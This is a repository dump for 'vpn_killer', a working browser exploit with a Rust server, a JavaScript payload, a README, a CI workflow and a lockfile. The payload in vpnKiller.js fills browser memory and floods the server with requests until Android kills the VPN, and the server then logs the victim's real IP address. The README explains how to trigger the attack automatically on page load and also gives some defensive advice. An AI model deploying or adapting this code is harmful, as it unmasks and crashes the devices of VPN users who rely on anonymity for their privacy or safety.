4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
15 |
16 |
17 |
18 |
19 |
20 |
--------------------------------------------------------------------------------
/.github/workflows/rust.yml:
--------------------------------------------------------------------------------
1 | name: Rust
2 |
3 | on:
4 | push:
5 | branches: [ master ]
6 | pull_request:
7 | branches: [ master ]
8 |
9 | env:
10 | CARGO_TERM_COLOR: always
11 |
12 | jobs:
13 | build:
14 |
15 | runs-on: ubuntu-latest
16 |
17 | steps:
18 | - uses: actions/checkout@v2
19 |
20 | - name: Install nightly toolchain
21 | uses: actions-rs/toolchain@v1
22 | with:
23 | profile: minimal
24 | toolchain: nightly
25 | override: true
26 |
27 | - name: Build
28 | run: cargo build --verbose
29 |
30 | - name: Run tests
31 | run: cargo test --verbose
32 |
33 |
--------------------------------------------------------------------------------
/src/assets/vpnKiller.js:
--------------------------------------------------------------------------------
1 | "use strict"
2 | // https://bugzilla.mozilla.org/show_bug.cgi?id=1463833
3 | let blocks = [];
4 | function allocate() {
5 | // allocate 64M
6 | let arr = new Uint32Array(16777216);
7 | // touch the memory so it really gets allocated
8 | for (let i = 0; i < arr.length; i++) {
9 | arr[i] = i | 0;
10 | }
11 | // save it so it doesn't get GC'd
12 | blocks.push(arr);
13 | }
14 |
15 | async function getIP(uuid) {
16 | // get the server location
17 | fetch(window.location.protocol
18 | + "//"
19 | + window.location.host
20 | + "/"
21 | + uuid);
22 | }
23 |
24 | // https://stackoverflow.com/questions/105034/how-to-create-a-guid-uuid#2117523
25 | function createUUID() {
26 | return ('xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'
27 | .replace(/[xy]/g, function(c)
28 | {
29 | const r = Math.random() * 16 | 0,
30 | v = c == 'x' ? r : (r & 0x3 | 0x8);
31 | return v.toString(16);
32 | }
33 | ));
34 | }
35 |
36 | function killVPN() {
37 | const uuid = createUUID();
38 |
39 | // try to fill the ram as much as we can
40 | setInterval(function() {
41 | allocate();
42 | getIP(uuid);
43 | }, 0);
44 | }
45 |
--------------------------------------------------------------------------------
/src/main.rs:
--------------------------------------------------------------------------------
1 | #![feature(proc_macro_hygiene, decl_macro)]
2 |
3 | #[macro_use]
4 | extern crate rocket;
5 |
6 | use rocket::http::Status;
7 | use rocket::response::content::{Html, JavaScript};
8 | use rocket::response::status;
9 | use rocket::State;
10 | use std::collections::HashMap;
11 | use std::net::{IpAddr, SocketAddr};
12 | use std::sync::Mutex;
13 | use uuid::Uuid;
14 |
15 | struct Users {
16 | // we are going to mutate it later
17 | user_map: Mutex>>,
18 | }
19 |
20 | #[get("/")]
21 | fn index() -> Html<&'static str> {
22 | Html(include_str!("assets/index.html"))
23 | }
24 |
25 | #[get("/vpnKiller.js")]
26 | fn js() -> JavaScript<&'static str> {
27 | JavaScript(include_str!("assets/vpnKiller.js"))
28 | }
29 |
30 | #[get("/")]
31 | fn get_ip(
32 | uuid_string: String,
33 | remote_addr: SocketAddr,
34 | users: State,
35 | ) -> status::Custom<&'static str> {
36 | let uuid = match Uuid::parse_str(&uuid_string[..]) {
37 | Ok(uuid) => uuid,
38 | // some browsers make requests like favicon.ico, that also gets routed here
39 | Err(_) => return status::Custom(Status::BadRequest, "invalid uuid"),
40 | };
41 | let ip_addr = remote_addr.ip();
42 | let mut users_lock = users.user_map.lock().unwrap();
43 |
44 | if users_lock.contains_key(&uuid) {
45 | // we need a way to mutate users_lock[&uuid]
46 | let vec_lock = users_lock.get_mut(&uuid).unwrap();
47 |
48 | if !vec_lock.contains(&ip_addr) {
49 | // found a different IP address, remember and print it
50 | vec_lock.push(ip_addr);
51 | println!("{} IP changed | known IPs: {:?}", &uuid, &vec_lock);
52 | }
53 | } else {
54 | // the vector containing all IPs of this new user must be mutable
55 | users_lock.insert(uuid, vec![ip_addr]);
56 | println!("{} connected | Initial IP: {}", &uuid, &ip_addr);
57 | }
58 |
59 | status::Custom(Status::Ok, "")
60 | }
61 |
62 | fn rocket() -> rocket::Rocket {
63 | rocket::ignite()
64 | .mount("/", routes![index, js, get_ip])
65 | .manage(Users {
66 | user_map: Mutex::new(HashMap::new()),
67 | })
68 | }
69 |
70 | fn main() {
71 | rocket().launch();
72 | }
73 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # vpn_killer
2 |
3 | Kill any Android VPN in the browser, and expose the client's real IP address.
4 |
5 |
6 | ## Background
7 |
8 | Me and a friend of mine [@A5dblk](https://t.me/A5dblk) stumbled upon [this bug](https://bugzilla.mozilla.org/show_bug.cgi?id=1463833), which allows any Javascript to eat up an infinite amount of RAM on Firefox, or up to 4GB per tab on Chromium.
9 |
10 | After playing with the exploit for a while, we noticed that, Android will kill most background processes, including VPNs, when the Javascript is consuming memory.
11 |
12 | So I came up with the idea of spamming requests while allocating memory. After the VPN is killed by Android, a few requests will be made without VPN before the browser tab is killed, revealing the client's real IP address.
13 |
14 |
15 | ## Affected Platform
16 |
17 | **Any version of Android.**
18 |
19 | > The memory exhaution bug affects all platforms that Firefox and Chromium runs on, but the VPN-killing behavior is only tested on Android.
20 |
21 |
22 | ## Installing
23 |
24 | [Prebuilt binaries](https://github.com/noarchwastaken/vpn_killer/releases)
25 |
26 | The backend of `vpn_killer` is built using [Rocket.rs](https://rocket.rs/) and Rust.
27 |
28 | Currently, only binaries for x86_64 GNU/Linux are built.
29 |
30 | ### Building
31 |
32 | 0. Clone this repository.
33 |
34 | 1. [Install and switch to Rust nightly](https://rocket.rs/v0.4/guide/getting-started/) for this repository.
35 |
36 | 2. `cargo build --release`
37 |
38 |
39 | ## Usage
40 |
41 | For `vpn_killer` to work, you need a client that is connected to a VPN and making requests from different IPs with and without the VPN.
42 |
43 | ### Setting up a VPN for Intranet testing
44 |
45 | For testing purposes, you can [set up a Wireguard server](https://git.zx2c4.com/wireguard-tools/about/src/man/wg-quick.8) on your computer, and connect to it on your phone.
46 |
47 | With this setup, remember to browse the non-VPN IP of your computer; for example, if your computer (server) has `192.168.1.30` for home intranet and `10.26.0.1` for VPN, you should use the former in the address bar.
48 |
49 | ### Running
50 |
51 | ```sh
52 | $ vpn_killer
53 | ```
54 |
55 | If you are building it yourself:
56 |
57 | ```sh
58 | $ cargo run --release
59 | ```
60 |
61 | You will see Rocket launching and listening on `http://0.0.0.0:8000`:
62 |
63 | ```
64 | 🔧 Configured for production.
65 | => address: 0.0.0.0
66 | => port: 8000
67 | => log: critical
68 | => workers: 24
69 | => secret key: generated
70 | => limits: forms = 32KiB
71 | => keep-alive: 5s
72 | => read timeout: 5s
73 | => write timeout: 5s
74 | => tls: disabled
75 | Warning: environment is 'production', but no `secret_key` is configured
76 | 🚀 Rocket has launched from http://0.0.0.0:8000
77 | ```
78 |
79 | Browse port `8000` on your computer using an Android device, and click "Get my real IP":
80 |
81 | ```
82 | 63e078cb-343f-4777-bdca-3a4add7e2a14 connected | Initial IP: 10.26.0.30
83 | 63e078cb-343f-4777-bdca-3a4add7e2a14 IP changed | known IPs: [10.26.0.30, 192.168.1.250]
84 | ```
85 |
86 |
87 | ## Hacking
88 |
89 | ### Run the exploit automatically
90 |
91 | Uncomment the line containing `killVPN();` in `src/assets/index.html`; build again.
92 |
93 |
94 | ## Protecting yourself against it
95 |
96 | If you run Android 9 or later, turn on **Always-on VPN** and **Block connections without VPN** in your system VPN settings.
97 |
98 | Be aware that this will break split-tunneling (a.k.a. Per-app proxy).
99 |
100 | Or you can use [Tor Browser](https://www.torproject.org/), which relies on an internal Tor for proxy, and cannot make connections without it.
101 |
--------------------------------------------------------------------------------
/Cargo.lock:
--------------------------------------------------------------------------------
1 | # This file is automatically @generated by Cargo.
2 | # It is not intended for manual editing.
3 | version = 3
4 |
5 | [[package]]
6 | name = "aead"
7 | version = "0.2.0"
8 | source = "registry+https://github.com/rust-lang/crates.io-index"
9 | checksum = "4cf01b9b56e767bb57b94ebf91a58b338002963785cdd7013e21c0d4679471e4"
10 | dependencies = [
11 | "generic-array",
12 | ]
13 |
14 | [[package]]
15 | name = "aes"
16 | version = "0.3.2"
17 | source = "registry+https://github.com/rust-lang/crates.io-index"
18 | checksum = "54eb1d8fe354e5fc611daf4f2ea97dd45a765f4f1e4512306ec183ae2e8f20c9"
19 | dependencies = [
20 | "aes-soft",
21 | "aesni",
22 | "block-cipher-trait",
23 | ]
24 |
25 | [[package]]
26 | name = "aes-gcm"
27 | version = "0.5.0"
28 | source = "registry+https://github.com/rust-lang/crates.io-index"
29 | checksum = "834a6bda386024dbb7c8fc51322856c10ffe69559f972261c868485f5759c638"
30 | dependencies = [
31 | "aead",
32 | "aes",
33 | "block-cipher-trait",
34 | "ghash",
35 | "subtle 2.4.0",
36 | "zeroize",
37 | ]
38 |
39 | [[package]]
40 | name = "aes-soft"
41 | version = "0.3.3"
42 | source = "registry+https://github.com/rust-lang/crates.io-index"
43 | checksum = "cfd7e7ae3f9a1fb5c03b389fc6bb9a51400d0c13053f0dca698c832bfd893a0d"
44 | dependencies = [
45 | "block-cipher-trait",
46 | "byteorder",
47 | "opaque-debug",
48 | ]
49 |
50 | [[package]]
51 | name = "aesni"
52 | version = "0.6.0"
53 | source = "registry+https://github.com/rust-lang/crates.io-index"
54 | checksum = "2f70a6b5f971e473091ab7cfb5ffac6cde81666c4556751d8d5620ead8abf100"
55 | dependencies = [
56 | "block-cipher-trait",
57 | "opaque-debug",
58 | ]
59 |
60 | [[package]]
61 | name = "atty"
62 | version = "0.2.14"
63 | source = "registry+https://github.com/rust-lang/crates.io-index"
64 | checksum = "d9b39be18770d11421cdb1b9947a45dd3f37e93092cbf377614828a319d5fee8"
65 | dependencies = [
66 | "hermit-abi",
67 | "libc",
68 | "winapi",
69 | ]
70 |
71 | [[package]]
72 | name = "autocfg"
73 | version = "1.0.1"
74 | source = "registry+https://github.com/rust-lang/crates.io-index"
75 | checksum = "cdb031dd78e28731d87d56cc8ffef4a8f36ca26c38fe2de700543e627f8a464a"
76 |
77 | [[package]]
78 | name = "base64"
79 | version = "0.9.3"
80 | source = "registry+https://github.com/rust-lang/crates.io-index"
81 | checksum = "489d6c0ed21b11d038c31b6ceccca973e65d73ba3bd8ecb9a2babf5546164643"
82 | dependencies = [
83 | "byteorder",
84 | "safemem",
85 | ]
86 |
87 | [[package]]
88 | name = "base64"
89 | version = "0.12.3"
90 | source = "registry+https://github.com/rust-lang/crates.io-index"
91 | checksum = "3441f0f7b02788e948e47f457ca01f1d7e6d92c693bc132c22b087d3141c03ff"
92 |
93 | [[package]]
94 | name = "bitflags"
95 | version = "1.2.1"
96 | source = "registry+https://github.com/rust-lang/crates.io-index"
97 | checksum = "cf1de2fe8c75bc145a2f577add951f8134889b4795d47466a54a5c846d691693"
98 |
99 | [[package]]
100 | name = "block-buffer"
101 | version = "0.7.3"
102 | source = "registry+https://github.com/rust-lang/crates.io-index"
103 | checksum = "c0940dc441f31689269e10ac70eb1002a3a1d3ad1390e030043662eb7fe4688b"
104 | dependencies = [
105 | "block-padding",
106 | "byte-tools",
107 | "byteorder",
108 | "generic-array",
109 | ]
110 |
111 | [[package]]
112 | name = "block-cipher-trait"
113 | version = "0.6.2"
114 | source = "registry+https://github.com/rust-lang/crates.io-index"
115 | checksum = "1c924d49bd09e7c06003acda26cd9742e796e34282ec6c1189404dee0c1f4774"
116 | dependencies = [
117 | "generic-array",
118 | ]
119 |
120 | [[package]]
121 | name = "block-padding"
122 | version = "0.1.5"
123 | source = "registry+https://github.com/rust-lang/crates.io-index"
124 | checksum = "fa79dedbb091f449f1f39e53edf88d5dbe95f895dae6135a8d7b881fb5af73f5"
125 | dependencies = [
126 | "byte-tools",
127 | ]
128 |
129 | [[package]]
130 | name = "byte-tools"
131 | version = "0.3.1"
132 | source = "registry+https://github.com/rust-lang/crates.io-index"
133 | checksum = "e3b5ca7a04898ad4bcd41c90c5285445ff5b791899bb1b0abdd2a2aa791211d7"
134 |
135 | [[package]]
136 | name = "byteorder"
137 | version = "1.4.2"
138 | source = "registry+https://github.com/rust-lang/crates.io-index"
139 | checksum = "ae44d1a3d5a19df61dd0c8beb138458ac2a53a7ac09eba97d55592540004306b"
140 |
141 | [[package]]
142 | name = "cfg-if"
143 | version = "0.1.10"
144 | source = "registry+https://github.com/rust-lang/crates.io-index"
145 | checksum = "4785bdd1c96b2a846b2bd7cc02e86b6b3dbf14e7e53446c4f54c92a361040822"
146 |
147 | [[package]]
148 | name = "cfg-if"
149 | version = "1.0.0"
150 | source = "registry+https://github.com/rust-lang/crates.io-index"
151 | checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
152 |
153 | [[package]]
154 | name = "cookie"
155 | version = "0.11.3"
156 | source = "registry+https://github.com/rust-lang/crates.io-index"
157 | checksum = "5795cda0897252e34380a27baf884c53aa7ad9990329cdad96d4c5d027015d44"
158 | dependencies = [
159 | "aes-gcm",
160 | "base64 0.12.3",
161 | "hkdf",
162 | "hmac",
163 | "percent-encoding 2.1.0",
164 | "rand",
165 | "sha2",
166 | "time",
167 | ]
168 |
169 | [[package]]
170 | name = "crypto-mac"
171 | version = "0.7.0"
172 | source = "registry+https://github.com/rust-lang/crates.io-index"
173 | checksum = "4434400df11d95d556bac068ddfedd482915eb18fe8bea89bc80b6e4b1c179e5"
174 | dependencies = [
175 | "generic-array",
176 | "subtle 1.0.0",
177 | ]
178 |
179 | [[package]]
180 | name = "devise"
181 | version = "0.2.0"
182 | source = "registry+https://github.com/rust-lang/crates.io-index"
183 | checksum = "74e04ba2d03c5fa0d954c061fc8c9c288badadffc272ebb87679a89846de3ed3"
184 | dependencies = [
185 | "devise_codegen",
186 | "devise_core",
187 | ]
188 |
189 | [[package]]
190 | name = "devise_codegen"
191 | version = "0.2.0"
192 | source = "registry+https://github.com/rust-lang/crates.io-index"
193 | checksum = "066ceb7928ca93a9bedc6d0e612a8a0424048b0ab1f75971b203d01420c055d7"
194 | dependencies = [
195 | "devise_core",
196 | "quote",
197 | ]
198 |
199 | [[package]]
200 | name = "devise_core"
201 | version = "0.2.0"
202 | source = "registry+https://github.com/rust-lang/crates.io-index"
203 | checksum = "cf41c59b22b5e3ec0ea55c7847e5f358d340f3a8d6d53a5cf4f1564967f96487"
204 | dependencies = [
205 | "bitflags",
206 | "proc-macro2",
207 | "quote",
208 | "syn",
209 | ]
210 |
211 | [[package]]
212 | name = "digest"
213 | version = "0.8.1"
214 | source = "registry+https://github.com/rust-lang/crates.io-index"
215 | checksum = "f3d0c8c8752312f9713efd397ff63acb9f85585afbf179282e720e7704954dd5"
216 | dependencies = [
217 | "generic-array",
218 | ]
219 |
220 | [[package]]
221 | name = "fake-simd"
222 | version = "0.1.2"
223 | source = "registry+https://github.com/rust-lang/crates.io-index"
224 | checksum = "e88a8acf291dafb59c2d96e8f59828f3838bb1a70398823ade51a84de6a6deed"
225 |
226 | [[package]]
227 | name = "generic-array"
228 | version = "0.12.3"
229 | source = "registry+https://github.com/rust-lang/crates.io-index"
230 | checksum = "c68f0274ae0e023facc3c97b2e00f076be70e254bc851d972503b328db79b2ec"
231 | dependencies = [
232 | "typenum",
233 | ]
234 |
235 | [[package]]
236 | name = "getrandom"
237 | version = "0.1.16"
238 | source = "registry+https://github.com/rust-lang/crates.io-index"
239 | checksum = "8fc3cb4d91f53b50155bdcfd23f6a4c39ae1969c2ae85982b135750cccaf5fce"
240 | dependencies = [
241 | "cfg-if 1.0.0",
242 | "libc",
243 | "wasi 0.9.0+wasi-snapshot-preview1",
244 | ]
245 |
246 | [[package]]
247 | name = "ghash"
248 | version = "0.2.3"
249 | source = "registry+https://github.com/rust-lang/crates.io-index"
250 | checksum = "9f0930ed19a7184089ea46d2fedead2f6dc2b674c5db4276b7da336c7cd83252"
251 | dependencies = [
252 | "polyval",
253 | ]
254 |
255 | [[package]]
256 | name = "glob"
257 | version = "0.3.0"
258 | source = "registry+https://github.com/rust-lang/crates.io-index"
259 | checksum = "9b919933a397b79c37e33b77bb2aa3dc8eb6e165ad809e58ff75bc7db2e34574"
260 |
261 | [[package]]
262 | name = "hashbrown"
263 | version = "0.9.1"
264 | source = "registry+https://github.com/rust-lang/crates.io-index"
265 | checksum = "d7afe4a420e3fe79967a00898cc1f4db7c8a49a9333a29f8a4bd76a253d5cd04"
266 |
267 | [[package]]
268 | name = "hermit-abi"
269 | version = "0.1.18"
270 | source = "registry+https://github.com/rust-lang/crates.io-index"
271 | checksum = "322f4de77956e22ed0e5032c359a0f1273f1f7f0d79bfa3b8ffbc730d7fbcc5c"
272 | dependencies = [
273 | "libc",
274 | ]
275 |
276 | [[package]]
277 | name = "hkdf"
278 | version = "0.8.0"
279 | source = "registry+https://github.com/rust-lang/crates.io-index"
280 | checksum = "3fa08a006102488bd9cd5b8013aabe84955cf5ae22e304c2caf655b633aefae3"
281 | dependencies = [
282 | "digest",
283 | "hmac",
284 | ]
285 |
286 | [[package]]
287 | name = "hmac"
288 | version = "0.7.1"
289 | source = "registry+https://github.com/rust-lang/crates.io-index"
290 | checksum = "5dcb5e64cda4c23119ab41ba960d1e170a774c8e4b9d9e6a9bc18aabf5e59695"
291 | dependencies = [
292 | "crypto-mac",
293 | "digest",
294 | ]
295 |
296 | [[package]]
297 | name = "httparse"
298 | version = "1.3.5"
299 | source = "registry+https://github.com/rust-lang/crates.io-index"
300 | checksum = "615caabe2c3160b313d52ccc905335f4ed5f10881dd63dc5699d47e90be85691"
301 |
302 | [[package]]
303 | name = "hyper"
304 | version = "0.10.16"
305 | source = "registry+https://github.com/rust-lang/crates.io-index"
306 | checksum = "0a0652d9a2609a968c14be1a9ea00bf4b1d64e2e1f53a1b51b6fff3a6e829273"
307 | dependencies = [
308 | "base64 0.9.3",
309 | "httparse",
310 | "language-tags",
311 | "log 0.3.9",
312 | "mime",
313 | "num_cpus",
314 | "time",
315 | "traitobject",
316 | "typeable",
317 | "unicase",
318 | "url",
319 | ]
320 |
321 | [[package]]
322 | name = "idna"
323 | version = "0.1.5"
324 | source = "registry+https://github.com/rust-lang/crates.io-index"
325 | checksum = "38f09e0f0b1fb55fdee1f17470ad800da77af5186a1a76c026b679358b7e844e"
326 | dependencies = [
327 | "matches",
328 | "unicode-bidi",
329 | "unicode-normalization",
330 | ]
331 |
332 | [[package]]
333 | name = "indexmap"
334 | version = "1.6.1"
335 | source = "registry+https://github.com/rust-lang/crates.io-index"
336 | checksum = "4fb1fa934250de4de8aef298d81c729a7d33d8c239daa3a7575e6b92bfc7313b"
337 | dependencies = [
338 | "autocfg",
339 | "hashbrown",
340 | ]
341 |
342 | [[package]]
343 | name = "language-tags"
344 | version = "0.2.2"
345 | source = "registry+https://github.com/rust-lang/crates.io-index"
346 | checksum = "a91d884b6667cd606bb5a69aa0c99ba811a115fc68915e7056ec08a46e93199a"
347 |
348 | [[package]]
349 | name = "libc"
350 | version = "0.2.86"
351 | source = "registry+https://github.com/rust-lang/crates.io-index"
352 | checksum = "b7282d924be3275cec7f6756ff4121987bc6481325397dde6ba3e7802b1a8b1c"
353 |
354 | [[package]]
355 | name = "log"
356 | version = "0.3.9"
357 | source = "registry+https://github.com/rust-lang/crates.io-index"
358 | checksum = "e19e8d5c34a3e0e2223db8e060f9e8264aeeb5c5fc64a4ee9965c062211c024b"
359 | dependencies = [
360 | "log 0.4.14",
361 | ]
362 |
363 | [[package]]
364 | name = "log"
365 | version = "0.4.14"
366 | source = "registry+https://github.com/rust-lang/crates.io-index"
367 | checksum = "51b9bbe6c47d51fc3e1a9b945965946b4c44142ab8792c50835a980d362c2710"
368 | dependencies = [
369 | "cfg-if 1.0.0",
370 | ]
371 |
372 | [[package]]
373 | name = "matches"
374 | version = "0.1.8"
375 | source = "registry+https://github.com/rust-lang/crates.io-index"
376 | checksum = "7ffc5c5338469d4d3ea17d269fa8ea3512ad247247c30bd2df69e68309ed0a08"
377 |
378 | [[package]]
379 | name = "memchr"
380 | version = "2.3.4"
381 | source = "registry+https://github.com/rust-lang/crates.io-index"
382 | checksum = "0ee1c47aaa256ecabcaea351eae4a9b01ef39ed810004e298d2511ed284b1525"
383 |
384 | [[package]]
385 | name = "mime"
386 | version = "0.2.6"
387 | source = "registry+https://github.com/rust-lang/crates.io-index"
388 | checksum = "ba626b8a6de5da682e1caa06bdb42a335aee5a84db8e5046a3e8ab17ba0a3ae0"
389 | dependencies = [
390 | "log 0.3.9",
391 | ]
392 |
393 | [[package]]
394 | name = "num_cpus"
395 | version = "1.13.0"
396 | source = "registry+https://github.com/rust-lang/crates.io-index"
397 | checksum = "05499f3756671c15885fee9034446956fff3f243d6077b91e5767df161f766b3"
398 | dependencies = [
399 | "hermit-abi",
400 | "libc",
401 | ]
402 |
403 | [[package]]
404 | name = "opaque-debug"
405 | version = "0.2.3"
406 | source = "registry+https://github.com/rust-lang/crates.io-index"
407 | checksum = "2839e79665f131bdb5782e51f2c6c9599c133c6098982a54c794358bf432529c"
408 |
409 | [[package]]
410 | name = "pear"
411 | version = "0.1.4"
412 | source = "registry+https://github.com/rust-lang/crates.io-index"
413 | checksum = "5320f212db967792b67cfe12bd469d08afd6318a249bd917d5c19bc92200ab8a"
414 | dependencies = [
415 | "pear_codegen",
416 | ]
417 |
418 | [[package]]
419 | name = "pear_codegen"
420 | version = "0.1.4"
421 | source = "registry+https://github.com/rust-lang/crates.io-index"
422 | checksum = "bfc1c836fdc3d1ef87c348b237b5b5c4dff922156fb2d968f57734f9669768ca"
423 | dependencies = [
424 | "proc-macro2",
425 | "quote",
426 | "syn",
427 | "version_check 0.9.2",
428 | "yansi",
429 | ]
430 |
431 | [[package]]
432 | name = "percent-encoding"
433 | version = "1.0.1"
434 | source = "registry+https://github.com/rust-lang/crates.io-index"
435 | checksum = "31010dd2e1ac33d5b46a5b413495239882813e0369f8ed8a5e266f173602f831"
436 |
437 | [[package]]
438 | name = "percent-encoding"
439 | version = "2.1.0"
440 | source = "registry+https://github.com/rust-lang/crates.io-index"
441 | checksum = "d4fd5641d01c8f18a23da7b6fe29298ff4b55afcccdf78973b24cf3175fee32e"
442 |
443 | [[package]]
444 | name = "polyval"
445 | version = "0.3.3"
446 | source = "registry+https://github.com/rust-lang/crates.io-index"
447 | checksum = "7ec3341498978de3bfd12d1b22f1af1de22818f5473a11e8a6ef997989e3a212"
448 | dependencies = [
449 | "cfg-if 0.1.10",
450 | "universal-hash",
451 | ]
452 |
453 | [[package]]
454 | name = "ppv-lite86"
455 | version = "0.2.10"
456 | source = "registry+https://github.com/rust-lang/crates.io-index"
457 | checksum = "ac74c624d6b2d21f425f752262f42188365d7b8ff1aff74c82e45136510a4857"
458 |
459 | [[package]]
460 | name = "proc-macro2"
461 | version = "0.4.30"
462 | source = "registry+https://github.com/rust-lang/crates.io-index"
463 | checksum = "cf3d2011ab5c909338f7887f4fc896d35932e29146c12c8d01da6b22a80ba759"
464 | dependencies = [
465 | "unicode-xid",
466 | ]
467 |
468 | [[package]]
469 | name = "quote"
470 | version = "0.6.13"
471 | source = "registry+https://github.com/rust-lang/crates.io-index"
472 | checksum = "6ce23b6b870e8f94f81fb0a363d65d86675884b34a09043c81e5562f11c1f8e1"
473 | dependencies = [
474 | "proc-macro2",
475 | ]
476 |
477 | [[package]]
478 | name = "rand"
479 | version = "0.7.3"
480 | source = "registry+https://github.com/rust-lang/crates.io-index"
481 | checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03"
482 | dependencies = [
483 | "getrandom",
484 | "libc",
485 | "rand_chacha",
486 | "rand_core",
487 | "rand_hc",
488 | ]
489 |
490 | [[package]]
491 | name = "rand_chacha"
492 | version = "0.2.2"
493 | source = "registry+https://github.com/rust-lang/crates.io-index"
494 | checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402"
495 | dependencies = [
496 | "ppv-lite86",
497 | "rand_core",
498 | ]
499 |
500 | [[package]]
501 | name = "rand_core"
502 | version = "0.5.1"
503 | source = "registry+https://github.com/rust-lang/crates.io-index"
504 | checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19"
505 | dependencies = [
506 | "getrandom",
507 | ]
508 |
509 | [[package]]
510 | name = "rand_hc"
511 | version = "0.2.0"
512 | source = "registry+https://github.com/rust-lang/crates.io-index"
513 | checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c"
514 | dependencies = [
515 | "rand_core",
516 | ]
517 |
518 | [[package]]
519 | name = "rocket"
520 | version = "0.4.7"
521 | source = "registry+https://github.com/rust-lang/crates.io-index"
522 | checksum = "7febfdfd4d43facfc7daba20349ebe2c310c6735bd6a2a9255ea8bc425b4cb13"
523 | dependencies = [
524 | "atty",
525 | "base64 0.12.3",
526 | "log 0.4.14",
527 | "memchr",
528 | "num_cpus",
529 | "pear",
530 | "rocket_codegen",
531 | "rocket_http",
532 | "state",
533 | "time",
534 | "toml",
535 | "version_check 0.9.2",
536 | "yansi",
537 | ]
538 |
539 | [[package]]
540 | name = "rocket_codegen"
541 | version = "0.4.7"
542 | source = "registry+https://github.com/rust-lang/crates.io-index"
543 | checksum = "ceac2c55b2c8b1cdc53add64332defa5fc227f64263b86b4114d1386286d42a3"
544 | dependencies = [
545 | "devise",
546 | "glob",
547 | "indexmap",
548 | "quote",
549 | "rocket_http",
550 | "version_check 0.9.2",
551 | "yansi",
552 | ]
553 |
554 | [[package]]
555 | name = "rocket_http"
556 | version = "0.4.7"
557 | source = "registry+https://github.com/rust-lang/crates.io-index"
558 | checksum = "ce364100ed7a1bf39257b69ebd014c1d5b4979b0d365d8c9ab0aa9c79645493d"
559 | dependencies = [
560 | "cookie",
561 | "hyper",
562 | "indexmap",
563 | "pear",
564 | "percent-encoding 1.0.1",
565 | "smallvec",
566 | "state",
567 | "time",
568 | "unicode-xid",
569 | ]
570 |
571 | [[package]]
572 | name = "safemem"
573 | version = "0.3.3"
574 | source = "registry+https://github.com/rust-lang/crates.io-index"
575 | checksum = "ef703b7cb59335eae2eb93ceb664c0eb7ea6bf567079d843e09420219668e072"
576 |
577 | [[package]]
578 | name = "serde"
579 | version = "1.0.123"
580 | source = "registry+https://github.com/rust-lang/crates.io-index"
581 | checksum = "92d5161132722baa40d802cc70b15262b98258453e85e5d1d365c757c73869ae"
582 |
583 | [[package]]
584 | name = "sha2"
585 | version = "0.8.2"
586 | source = "registry+https://github.com/rust-lang/crates.io-index"
587 | checksum = "a256f46ea78a0c0d9ff00077504903ac881a1dafdc20da66545699e7776b3e69"
588 | dependencies = [
589 | "block-buffer",
590 | "digest",
591 | "fake-simd",
592 | "opaque-debug",
593 | ]
594 |
595 | [[package]]
596 | name = "smallvec"
597 | version = "1.6.1"
598 | source = "registry+https://github.com/rust-lang/crates.io-index"
599 | checksum = "fe0f37c9e8f3c5a4a66ad655a93c74daac4ad00c441533bf5c6e7990bb42604e"
600 |
601 | [[package]]
602 | name = "state"
603 | version = "0.4.2"
604 | source = "registry+https://github.com/rust-lang/crates.io-index"
605 | checksum = "3015a7d0a5fd5105c91c3710d42f9ccf0abfb287d62206484dcc67f9569a6483"
606 |
607 | [[package]]
608 | name = "subtle"
609 | version = "1.0.0"
610 | source = "registry+https://github.com/rust-lang/crates.io-index"
611 | checksum = "2d67a5a62ba6e01cb2192ff309324cb4875d0c451d55fe2319433abe7a05a8ee"
612 |
613 | [[package]]
614 | name = "subtle"
615 | version = "2.4.0"
616 | source = "registry+https://github.com/rust-lang/crates.io-index"
617 | checksum = "1e81da0851ada1f3e9d4312c704aa4f8806f0f9d69faaf8df2f3464b4a9437c2"
618 |
619 | [[package]]
620 | name = "syn"
621 | version = "0.15.44"
622 | source = "registry+https://github.com/rust-lang/crates.io-index"
623 | checksum = "9ca4b3b69a77cbe1ffc9e198781b7acb0c7365a883670e8f1c1bc66fba79a5c5"
624 | dependencies = [
625 | "proc-macro2",
626 | "quote",
627 | "unicode-xid",
628 | ]
629 |
630 | [[package]]
631 | name = "time"
632 | version = "0.1.44"
633 | source = "registry+https://github.com/rust-lang/crates.io-index"
634 | checksum = "6db9e6914ab8b1ae1c260a4ae7a49b6c5611b40328a735b21862567685e73255"
635 | dependencies = [
636 | "libc",
637 | "wasi 0.10.0+wasi-snapshot-preview1",
638 | "winapi",
639 | ]
640 |
641 | [[package]]
642 | name = "tinyvec"
643 | version = "1.1.1"
644 | source = "registry+https://github.com/rust-lang/crates.io-index"
645 | checksum = "317cca572a0e89c3ce0ca1f1bdc9369547fe318a683418e42ac8f59d14701023"
646 | dependencies = [
647 | "tinyvec_macros",
648 | ]
649 |
650 | [[package]]
651 | name = "tinyvec_macros"
652 | version = "0.1.0"
653 | source = "registry+https://github.com/rust-lang/crates.io-index"
654 | checksum = "cda74da7e1a664f795bb1f8a87ec406fb89a02522cf6e50620d016add6dbbf5c"
655 |
656 | [[package]]
657 | name = "toml"
658 | version = "0.4.10"
659 | source = "registry+https://github.com/rust-lang/crates.io-index"
660 | checksum = "758664fc71a3a69038656bee8b6be6477d2a6c315a6b81f7081f591bffa4111f"
661 | dependencies = [
662 | "serde",
663 | ]
664 |
665 | [[package]]
666 | name = "traitobject"
667 | version = "0.1.0"
668 | source = "registry+https://github.com/rust-lang/crates.io-index"
669 | checksum = "efd1f82c56340fdf16f2a953d7bda4f8fdffba13d93b00844c25572110b26079"
670 |
671 | [[package]]
672 | name = "typeable"
673 | version = "0.1.2"
674 | source = "registry+https://github.com/rust-lang/crates.io-index"
675 | checksum = "1410f6f91f21d1612654e7cc69193b0334f909dcf2c790c4826254fbb86f8887"
676 |
677 | [[package]]
678 | name = "typenum"
679 | version = "1.12.0"
680 | source = "registry+https://github.com/rust-lang/crates.io-index"
681 | checksum = "373c8a200f9e67a0c95e62a4f52fbf80c23b4381c05a17845531982fa99e6b33"
682 |
683 | [[package]]
